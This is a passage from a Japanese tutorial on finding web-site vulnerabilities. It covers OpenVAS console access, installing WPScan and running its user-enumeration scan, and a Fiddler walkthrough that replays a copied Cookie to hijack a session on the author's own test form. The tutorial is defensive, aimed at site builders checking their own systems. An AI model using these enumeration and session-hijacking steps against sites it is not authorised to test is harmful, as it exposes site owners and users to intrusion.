Webアクセスできるようにfirewallを停止するかポートを開放しておきます。

# firewall-cmd --permanent --zone=public --add-port=9392/tcp
# firewall-cmd --reload

OpenVASの使い方

GreenboneというWebコンソールから操作することができます。
https://{ip_address}:9392/にアクセスし、先ほど作成した管理者ユーザでログインします。

スキャンの方法については後ほどまとめていきます。
簡易的なスキャンはIPアドレスを打ち込んで実行するだけで実行できます。

4.3. WPScanによるWebサイト（WordPress）の脆弱性の見つけ方

WPScanによるWebサイト（WordPress）の脆弱性の見つけ方についてまとめていきます。

WPScanとは

WPScanとは、Ruby で書かれた WordPress の脆弱性スキャンツールで、オープンソースで公開されています。

WPScanのインストール（CentOS7）

CentOS7の環境にWPScanをインストールする手順です。

必要パッケージのインストール

必要なパッケージをインストールします。

# yum -y install gcc openssl-devel readline-devel libxml2 libxml2-devel libxslt libxslt-devel libcurl-devel patch git

Rubyのインストール

古いRubyがインストールされている場合は削除します。

# yum remove ruby

Rubyがインストールされていないことを確認します。

# ruby -v

rbenvをインストールします。

# git clone https://github.com/sstephenson/rbenv.git ~/.rbenv
# echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.bash_profile
# echo 'eval "$(rbenv init -)"' >> ~/.bash_profile
# source ~/.bash_profile
# git clone git://github.com/sstephenson/ruby-build.git ~/.rbenv/plugins/ruby-build
# cd ~/.rbenv/plugins/ruby-build
# ./install.sh

rbenvがインストールされていることを確認します。

# rbenv -v

Rubyをインストールします。ここではバージョン2.3.1をインストールしていきます。

# rbenv install 2.3.1
# rbenv rehash
# rbenv global 2.3.1

Rubyがインストールされているか確認します。

# ruby -v
  ruby 2.3.1p112 (2016-04-26 revision 54768)

WPScanのインストール

WPScanをインストールしていきます。

# mkdir -p /root/tools
# cd /root/tools
# git clone https://github.com/wpscanteam/wpscan.git
# cd wpscan
# gem install bundler && bundle install --without test

WPScanの使い方

アップデート

アップデートは以下のように実行します。

# cd /root/tools/wpscan
# git pull
# ruby wpscan.rb --update

クイックスキャン

クイックスキャンは以下のように実行します。

# cd /root/tools/wpscan
# ruby wpscan.rb --url ＜WordPressページのURL＞

ユーザIDの露出チェック

ユーザIDの情報が露出していないかのチェックは以下のように実施します。

# ruby wpscan.rb --url ＜WordPressページのURL＞  --enumerate u

5. Webサイトの脆弱性の見つけ方（補助ツール編）

スキャンツールではなく、手動で脆弱性を見つける際に使えるツールについてまとめていきます。

5.1. FiddlerによるWebサイトの脆弱性の見つけ方

Fiddlerはセキュリティのスペシャリストの方のページで紹介されているようにかなり強力なツールです。Fiddlerの簡単な使い方を説明しながら、Fiddlerを使用した脆弱性の見つけ方を紹介していきます。

Fiddlerとは

Fiddlerとは、Windowsマシンで動作するhttpやhttpsなどのプロトコルに特化したプロキシサーバ―です。Fiddlerを使うとすべてのアプリの対象プロトコルを使用する要求がFiddler越しで送られるようになります。Fiddlerでそれらの要求を閲覧したり、書き換えて送ったり、独自に作成した要求を送る、などできます。

fiddler-image-00

Fiddlerのダウンロード

Fiddlerは、http://getfiddler.comでダウンロードできます。

Fiddlerのインストール

Fiddlerのインストールは簡単です。インストーラの説明に従って簡単にインストールできます。

Fiddlerの使い方（セッションハイジャックが行える脆弱性の見つけ方）

セッションで確認ページを表示するお問合せフォームを例にセッションハイジャックが行える脆弱性の見つけ方と、Fiddlerの起動からリクエストの閲覧、独自に作成したリクエストの送信など、簡単なFiddlerの使い方を見ていきます。

例で使用するお問合せフォーム

以下のような確認ページでセッションの内容を表示するお問合せフォームで、他のユーザから窃取してきたCookieの値を使うだけで、他のユーザのページが表示されてしまう、セッション管理の甘いお問合せフォームを例で使用します。

お問合せ入力（/inquiry/input.html）
入力チェック（/inquiry/validate.html）…チェックしてセッションに入力内容を保存
お問合せ確認（/inquiry/confirm.html）…セッションに保存した入力内容を表示
お問合せ送信（/inquiry/finish.html）

inquiry-image-01

Fiddlerの起動

C:\Program Files (x86)\Fiddler2\Fiddler.exeをクリックして起動します。

fiddler-image-01

特定のブラウザの通信のみを表示する

Fiddlerはすべてのアプリケーションの要求をプロキシします。特定のブラウザの通信のみキャプチャするには、FiltersタブのClient Processを使用します。今回はFirefoxを使用することにします。

左側のFiltersタブを選択し、Use Filtersにチェックをいれ、Client ProcessのShow only traffic fromのプルダウンでFirefoxのプロセスを選びます。

fiddler-image-02

Fiddlerのセッションリストのクリア

左に表示されるセッションのどれかを選択して、右クリック＞Remove＞All Sessionsを選択するとセッションリストがクリアできます。

fiddler-image-03

fiddler-image-04

Fiddlerのセッションの内容表示

上述のお問合せフォームを送信まで行って、たとえば、確認ページ（/inquiry/confirm.html）を探して、ダブルクリックすると左にその内容が表示されます。以下のイメージのようにRawを選択するとヘッダ内容が見やすいです。例のお問合せフォームの環境は、VM上でCentOS6.4、Apache、PHPをyumでインストールしただけの環境なのでHTTPヘッダにはバージョンが表示され、セキュリティ関連のパラメータも未設定の状態です。

fiddler-image-05

WebViewタブを選択するとWebページのイメージが表示されます。

fiddler-image-06

リクエストヘッダ―のコピー

Fiddlerは、かなり凝って作られていて、至るところで右クリックしてみるといろいろな機能が隠されています。リクエストヘッダーのコピーも選択して、Ctrl+Cや右クリック＞Copyの操作でコピーできます。

fiddler-image-07

コピーしたリクエストの送信

ComposerのExecuteボタンでコピーしたリクエストが簡単に送信できます。先ほどコピーしたリクエストヘッダーをRawのところに貼り付けて、HTTPはボディー部と改行で区別するので、改行を2つ追加してExecuteボタンを押すとコピーしたリクエストが送信できます。

fiddler-image-08

なお、例のお問合せフォームは、先ほど送信完了まで行っているので、セッションは破棄されて、確認ページは表示されず、入力ページにリダイレクトされます。

コピーしたリクエストを書き換えて送信

ここでは、別のユーザのCookieの値を窃取してきて、そのCookieを先ほどのリクエストに設定して送信し、セッションハイジャックしてみます。

Cookieの値ですが、たとえば別のブラウザ、ここではChromeを使用しますが、デベロッパーツールなどの開発者ツールを開いてNetworkのところを表示し、確認ページのリクエストを探します。確認ページのリクエストを見つけたら、レスポンスヘッダのところにある、Cookie:の値をコピーします。

fiddler-image-09

Cookieの値をFiddlerのComposerの先ほど入力ページにリダイレクトされたリクエストヘッダ―に設定して、Executeします。

fiddler-image-10

セッションハイジャックされました。

fiddler-image-11

この例はCookieの値だけでセッションハイジャックされました。簡単ですが、自作でセッションを使った場合、セッションのチェックなんて気にしないことも多いのではないでしょうか。

また、ちょっと考えてUserAgentをチェックしてみるかもしれません。でも先ほどの要領でUserAgentも窃取して貼り付ければ終わりです。ページに設定したPOSTトークンを毎回払いだすなどもっと難解にする、などセッション管理は大変です。さらに、Cookieなどのセッション管理情報は窃取されないようにHTTPSで送信しないとです。XSSなどの脆弱性も作りこまないようにしないとです。そう考えるとWordPressのContactFormとか使った方が自作よりも品質がよさそうです。

お問合せフォームの場合、そもそも入力内容をセッションに保存して表示するのがいけないような気がしますが、オンラインショップのカートやログイン後の会員ページなどは重要と思います。それと、製品やサービスを利用する場合なども、一度CookieとUserAgentあたりをそろえてセッションハイジャックの確認をしてみるといいかもしれません。

つづく

更新履歴

2016年12月06日 Fiddlerによる脆弱性の見つけ方について追記しました。
2016年12月02日ハッカーのための情報サイト？活用による脆弱性の見つけ方について追記しました。
2016年10月19日誤字の訂正と検索エンジンハッキングのところにディレクトリトラバーサルの脆弱性の見つけ方、ブラウザハッキングのところにクリックジャッキングの脆弱性の見つけ方について追記しました。
2016年09月21日 WPScanによるWebサイト（WordPress）の脆弱性の見つけ方について追記しました。
2016年09月08日 OpenVASを使用した脆弱性の見つけ方、WordPressの脆弱性の見つけ方について追記しました。
2016年08月31日 XSSの脆弱性の見つけ方について追記しました。
2016年08月24日検索エンジンを利用した脆弱性検出のところに、SQLインジェクションなどの脆弱性の検索方法について追記しました。
2016年08月23日しっくりこないので「SEが気づきにくいWebサイトの脆弱性の見つけ方」にテーマ変更しました。
2016年08月16日 HTTPヘッダの設定不備の脆弱性の見つけ方について追記しました。
2016年08月05日 HTTPS（SSL）の設定不備、OWASP ZAPを使用した脆弱性の見つけ方を追記しました。
2016年08月03日ゼロデイ脆弱性をテーマにページを作成しました。

目次

1. 脆弱性とは

1.1. 脆弱性の読み方

1.2. 脆弱の意味

1.3. 情報セキュリティにおける脆弱性の意味

1.4. ゼロデイ脆弱性の意味

2. Webサイトの脆弱性の見つけ方（基礎編）

2.1. HTTPS（SSL）の脆弱性の見つけ方

HTTPS（SSL）の脆弱性の見つけ方①－https://になっている（SSL使用しているか）

HTTPS（SSL）の脆弱性の見つけ方②－SSL LABSでA+評価になっているか

SSL 3.0 の脆弱性対策について(CVE-2014-3566)

脆弱性の意味

脆弱性の対策

OpenSSLの脆弱性とは

脆弱性の意味

脆弱性の対策

yumでアップデート

その他のHTTPS（SSL）の脆弱性の対策

2.2. HTTPヘッダの脆弱性の見つけ方

HTTPヘッダの設定不備の脆弱性の見つけ方

01：レスポンンスヘッダのserverパラメータ

パラメータの意味

脆弱性の意味

脆弱性の見つけ方

02：レスポンンスヘッダのX-Powered-Byパラメータ

パラメータの意味

脆弱性の意味

脆弱性の見つけ方

03：レスポンンスヘッダのX-Frame-Optionsパラメータ

パラメータの意味

脆弱性の意味

脆弱性の見つけ方

04：レスポンンスヘッダのX-XSS-Protectionパラメータ

パラメータの意味

脆弱性の意味

脆弱性の見つけ方

04：レスポンンスヘッダのX-Content-Type-Optionsパラメータ

パラメータの意味

脆弱性の意味

脆弱性の見つけ方

06：レスポンンスヘッダのX-Download-Optionsパラメータ

パラメータの意味

脆弱性の意味

脆弱性の見つけ方

07：レスポンンスヘッダのSet-Cookieパラメータの「secure」属性

パラメータの意味

脆弱性の意味

脆弱性の見つけ方

08：レスポンンスヘッダのSet-Cookieパラメータの「HttpOnly」属性

パラメータの意味

脆弱性の意味

脆弱性の見つけ方

09：レスポンンスヘッダのStrict-Transport-Securityパラメータ

パラメータの意味

脆弱性の意味

脆弱性の見つけ方

その他のパラメータ

2.3. 検索エンジンハッキング手法による脆弱性の見つけ方

検索エンジンハッキング手法とは

検索エンジンの検索オプション

「site:」による絞り込みの例

検索例）ディレクトリリスティングされたIndex ofページの脆弱性の見つけ方

脆弱性の意味

脆弱性の見つけ方

検索例）管理ログインページが公開状態となっている脆弱性の見つけ方

脆弱性の意味

脆弱性の見つけ方

検索例）テスト関連のページが公開されている脆弱性の見つけ方

脆弱性の意味

脆弱性の見つけ方

検索例）SQLインジェクションの脆弱性の見つけ方

脆弱性の意味

脆弱性の見つけ方

検索例）ディレクトリトラバーサルの脆弱性の見つけ方

脆弱性の意味

脆弱性の見つけ方

その他の検索例

2.4. ブラウザハッキング手法による脆弱性の見つけ方

ブラウザハッキングの流れ

XSSの脆弱性の見つけ方